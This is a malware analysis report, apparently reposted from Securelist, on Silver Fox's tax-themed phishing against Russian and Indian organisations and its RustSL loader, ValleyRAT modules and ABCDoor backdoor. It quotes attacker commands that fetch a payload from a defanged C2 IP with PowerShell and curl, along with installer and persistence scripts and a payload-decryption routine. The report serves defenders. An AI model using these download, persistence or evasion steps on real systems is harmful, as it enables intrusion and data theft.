Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India
In December 2025, we detected a wave of malicious emails designed to look like officia 2026-4-30 07:0:19 Author: securelist.com(查看原文) 阅读量:5 收藏

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash

DWORD enc_payload_len;

WORD sgn_decoder_size;

char sgn_iterations;

char sgn_key;

char decoder[sgn_decoder_size];

char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:

    buf = bytearray(data)

    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):

        k = xor_key

        for i in range(len(buf)):

            dec = buf[i] ^ k

            if k & 1:

                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF

            else:

                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.

[unix_timestamp] RSL started in debug mode.

[unix_timestamp] ==========================================

[unix_timestamp]     Phantom Persistence Module (Hijack Mode)

[unix_timestamp] ==========================================

[unix_timestamp] [*] Calling RegisterApplicationRestart...

[unix_timestamp] [+] RegisterApplicationRestart succeeded.

[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.

[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.

[unix_timestamp] [*] Starting message thread to monitor shutdown events...

[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.

[unix_timestamp] [+] Window created successfully, message loop started.

[unix_timestamp] [+] Phantom persistence enabled successfully.

[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.

[unix_timestamp] Phantom persistence enabled.

[unix_timestamp] Mouse movement check passed.

[unix_timestamp] IP address check passed.

[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:

    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

  4. Using curl:

    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

@echo off

set "script_dir=%~dp0"

set SRC_DIR=%script_dir%

set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"

mkdir "%DES_DIR%"

call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

exit /b

:recursiveCopy

set "src=%~1"

set "dest=%~2"

if not exist "%dest%" mkdir "%dest%"

for %%F in ("%src%\*") do (

    copy "%%F" "%dest%" >nul

)

for /d %%D in ("%src%\*") do (

    call :recursiveCopy "%%D" "%dest%\%%~nxD"

)

exit /b

Contents of update.bat

After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:

    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient


    Persistence is established by executing the following command:

    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

  2. Task scheduler: The malware executes

    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",

"device_info": {

"device_name": device_name,

"os_name": os_name,

"os_version": os_version,

"os_release": os_release,

"device_id": device_id,

"install_channel": "<channel_name_from_registry>", # optional field

"first_install_time": "<install_time_from_registry>", # optional field

},

"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()

device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:


文章来源: https://securelist.com/silver-fox-tax-notification-campaign/119575/
如有侵权请联系:admin#unsafe.sh